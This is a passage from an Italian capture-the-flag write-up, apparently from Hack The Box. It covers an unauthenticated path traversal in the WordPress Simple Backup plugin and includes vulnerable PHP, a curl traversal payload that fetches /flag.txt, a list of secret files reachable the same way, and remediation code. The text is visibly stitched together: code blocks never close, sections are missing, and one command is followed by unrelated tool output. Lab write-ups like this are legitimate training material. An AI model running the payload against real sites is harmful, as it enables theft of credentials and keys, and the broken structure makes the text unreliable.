`page=backup_manager` instrada la richiesta verso il gestore della pagina di amministrazione del plugin; `download_backup_file` è il parametro che il codice del plugin legge direttamente e concatena in un percorso del filesystem senza validazione, consentendo il directory traversal.

---

### Punteggio CVSS v3.1

**7.5 - ALTO** (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

- **Vettore d'attacco (AV):** Rete
- **Complessità d'attacco (AC):** Bassa
- **Privilegi richiesti (PR):** Nessuno
- **Interazione dell'utente (UI):** Nessuna
- **Ambito (S):** Invariato
- **Riservatezza (C):** Alta
- **Integrità (I):** Nessuna
- **Disponibilità (A):** Nessuna

---

### Impatto Aziendale

**Violazione della Riservatezza:** ⚠️ CRITICA

Gli attaccanti possono leggere qualsiasi file accessibile al server web, tra cui:

| File | Impatto | Livello di Rischio |
|------|---------|--------------------|
| `/wp-config.php` | Credenziali del database, salt, chiavi | 🔴 CRITICO |
| `/.env` | Chiavi API, segreti, configurazione | 🔴 CRITICO |
| `/etc/passwd` | Enumerazione utenti, mappatura di sistema | 🟠 ALTO |
| Chiavi SSH (`.ssh/id_rsa`) | Movimento laterale, accesso al sistema | 🔴 CRITICO |
| `/proc/self/environ` | Segreti dell'applicazione in esecuzione | 🟠 ALTO |
| Directory di upload degli utenti | File privati, media | 🟠 ALTO |

**Impatto Regolamentare:**
- **Violazione GDPR:** Accesso non autorizzato ai dati degli utenti
- **Violazione HIPAA:** Esposizione di informazioni sanitarie protette
- **Violazione PCI-DSS:** Accesso a dati di carte di credito o informazioni di pagamento
- **Violazione SOC 2:** Violazione del requisito di riservatezza

---

### Pattern di Codice Vulnerabile

L'advisory di Exploit-DB (39883.txt, letto tramite `searchsploit -x` — vedi [ht4-poc.png](https://github.com/capivara-research/wordpress-path-traversal-cve-2019-11447/blob/HEAD/images/ht4-poc.png)) documenta la primitiva **delete** del plugin da `simple-backup-manager.php`:```php
if(array_key_exists('delete_backup_file', $_GET)){
    $this->delete_local_backup_file($_GET['delete_backup_file']);
}

`$filename` arriva direttamente da `$_GET['delete_backup_file']` senza alcun controllo `basename()` o verifica di contenimento del percorso. Passare `../pizza.txt` risolve `$bk_dir . $filename` in `.../simple-backup/../pizza.txt` → `.../pizza.txt`, uscendo dalla cartella di backup prevista.

La primitiva di **download** effettivamente sfruttata in questa attività (`download_backup_file`) segue lo stesso identico schema di concatenazione non sanificata nello stesso plugin, ma restituisce il file al richiedente invece di eliminarlo — ed è ciò che ha permesso il recupero di `/flag.txt` dalla root del filesystem (10× `../` da `ABSPATH/simple-backup/`).

**Il problema:**
- Nessun uso di `basename()` per rimuovere i componenti della directory
- Nessuna whitelist dei file consentiti
- Nessuna verifica che `realpath()` rimanga all'interno di `ABSPATH."simple-backup/"`
- Concatenazione diretta dell'input utente nel percorso del file
- Nessun controllo `current_user_can()` / autenticazione prima di servire il file — l'handler viene eseguito al caricamento del plugin, prima del gate di autenticazione `wp-admin` di WordPress, quindi è raggiungibile **senza essere loggati**

---

### Proof of Concept

#### **Fase 1: Accesso iniziale — Identificazione dell'applicazione**

Connessione diretta al target tramite browser (`http://154.57.164.73:30706/`). L'installazione WordPress è intitolata **"GETTING STARTED"**, e un post pubblico sul blog presente nella homepage divulga il nome esatto del plugin e la versione in chiaro: **"Simple Backup Plugin 2.7.10 for WordPress"** — non è stato nemmeno necessario alcuno strumento di enumerazione per identificare il componente vulnerabile.

![Accesso iniziale - Versione del plugin divulgata nella homepage WordPress](https://assets.kitploit.com/production/public/readmes/51282/807a6be937aeb55de6f3c60b479762729a056e9134edd0f8bf3a0779b36b854f/46c8a8c16d715251f282bacf2522c3e620864b14008847867c32672ba0d051fd-display-v1.webp)

#### **Fase 2: Fingerprinting del servizio**```bash
whatweb http://154.57.164.73:30706/

**Risultato:**```
Exploit Title                                              |  Path
------------------------------------------------------------------------------
WordPress Plugin Simple Backup 2.7.11 - Multiple Vulnerabilities | php/webapps/39883.txt

L'advisory documenta la **cancellazione arbitraria di file** non autenticata tramite il parametro `delete_backup_file` e segnala che i file di backup in `simple-backup/` (e, attraverso lo stesso percorso di codice non sanitizzato, file arbitrari tramite `download_backup_file`) possono essere recuperati senza autenticazione.

![Ricerca sulla vulnerabilità - Exploit-DB PoC 39883.txt letto tramite searchsploit -x](https://assets.kitploit.com/production/public/readmes/51282/8d2f7a41935c4f9ebf4df1243ee68ba0628592b26411770696534eaa903851c4/7e636497c5d9d7382c9b0d7d5917938a399cf76f014b6e5fb754400078325e54-display-v1.webp)

#### **Fase 4: Sfruttamento — Path Traversal tramite `download_backup_file`**

Endpoint vulnerabile identificato dal routing della pagina di amministrazione del plugin:```
http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=

**GUI (utilizzata in questa valutazione):** l'URL del payload è stato aperto direttamente nella barra degli indirizzi del browser. Non è stato richiesto alcun login — il browser ha attivato il download automatico del file `flag.txt` risolto.

![Exploit - Payload di path traversal nella barra degli indirizzi del browser, flag.txt scaricato](https://assets.kitploit.com/production/public/readmes/51282/c02c8273770253f4f0c3b79c0e4de1ab7b8190bfdbbec554a90a25e22553a635/6d1a521bdea2df6ba65e17df783d9f81ea3da096daba3f9bde02bece60a8e406-display-v1.webp)

**Equivalente headless:**```bash
curl -s "http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt" -o flag.txt
cat flag.txt

---

### Validazione dell'Impatto

✅ **Riservatezza Compromessa:** Qualsiasi file leggibile dal processo del web server è accessibile
✅ **Nessuna Autenticazione Richiesta:** Gli utenti non autenticati possono sfruttarla
✅ **Nessuna Interazione dell'Utente Necessaria:** Sfruttamento tramite richiesta HTTP diretta
✅ **Ripetibile e Affidabile:** Funziona su tutte le versioni vulnerabili
✅ **Dati Aziendali Critici a Rischio:** File di configurazione, credenziali, dati utente esposti

---

## Rimedio

### **Opzione 1: Whitelist di Input (Consigliata)**

Consenti solo il download da un elenco predefinito di file:```php
<?php
// Define allowed backup files
$allowed_files = array(
    'backup_2024_01_15.zip',
    'backup_2024_01_16.zip',
    'backup_2024_01_17.zip',
);

$requested_file = $_GET['download_backup_file'];

// Validate against whitelist
if (!in_array($requested_file, $allowed_files)) {
    die("File not found or access denied");
}

// Use basename() as double protection
$file = basename($requested_file);
$filepath = ABSPATH . "simple-backup/" . $file;

// Verify file exists and is readable
if (!file_exists($filepath) || !is_readable($filepath)) {
    die("File not found");
}

readfile($filepath);
?>

**Vantaggi:**
- Gestisce i symlink e i percorsi complessi
- Verifica automaticamente il contenimento
- Più flessibile della whitelist

---

### **Opzione 3: Usare basename() solo per il Nome del File**

Estrai solo il componente del nome file:```php
<?php
$user_input = $_GET['download_backup_file'];

// Remove all directory components
$file = basename($user_input);

// Build safe path
$filepath = ABSPATH . "simple-backup/" . $file;

// Verify file exists
if (!file_exists($filepath)) {
    die("File not found");
}

readfile($filepath);
?>

**Permessi del file system:**```bash
# Restrict web server access to necessary directories only
chmod 750 /var/www/html/wp-content/plugins/
chmod 750 /var/www/html/wp-content/simple-backup/

# Remove sensitive files from web root
rm -f /var/www/html/.env
mv /var/www/html/wp-config.php /var/www/wp-config.php

# Use chroot/jailing for web server
# Set PHP open_basedir to restrict file access
php_admin_value[open_basedir] = /var/www/html/uploads

**Gestione degli aggiornamenti:**

1. Disattivare o rimuovere il plugin Simple Backup
2. Installare una soluzione di backup approvata con audit di sicurezza
3. Aggiornare WordPress all'ultima versione
4. Aggiornare tutti i plugin alle ultime versioni
5. Aggiornare PHP a 8.0+ con patch di sicurezza

---

## Catena di attacco```
┌─────────────────────────────────────────────────────────────┐
│  1. INITIAL ACCESS                                          │
│  └─ Browse to 154.57.164.73:30706                           │
│  └─ WordPress "GETTING STARTED" site identified              │
│  └─ Homepage blog post discloses: Simple Backup Plugin 2.7.10│
└──────────────────────┬──────────────────────────────────────┘
                       │
┌──────────────────────▼──────────────────────────────────────┐
│  2. ENUMERATION                                             │
│  └─ whatweb confirms Apache 2.4.41, WordPress 5.6.1          │
└──────────────────────┬──────────────────────────────────────┘
                       │
┌──────────────────────▼──────────────────────────────────────┐
│  3. VULNERABILITY RESEARCH                                  │
│  └─ searchsploit → 39883.txt (Simple Backup 2.7.11 vulns)    │
│  └─ searchsploit -x → read PoC, identify unsanitized         │
│     delete_backup_file / download_backup_file parameters     │
└──────────────────────┬──────────────────────────────────────┘
                       │
┌──────────────────────▼──────────────────────────────────────┐
│  4. EXPLOITATION                                             │
│  └─ Endpoint: /wp-admin/tools.php?page=backup_manager        │
│  └─ Payload: download_backup_file=../..(x10)../flag.txt      │
│  └─ Browser navigates to payload URL (no login required)     │
│  └─ Plugin resolves path to /flag.txt and serves it          │
└──────────────────────┬──────────────────────────────────────┘
                       │
┌──────────────────────▼──────────────────────────────────────┐
│  5. SUCCESS                                                 │
│  └─ Flag Retrieved: HTB{my_f1r57_h4ck}                       │
│  └─ Confidentiality Breached                                 │
│  └─ Unauthenticated arbitrary file read confirmed             │
└─────────────────────────────────────────────────────────────┘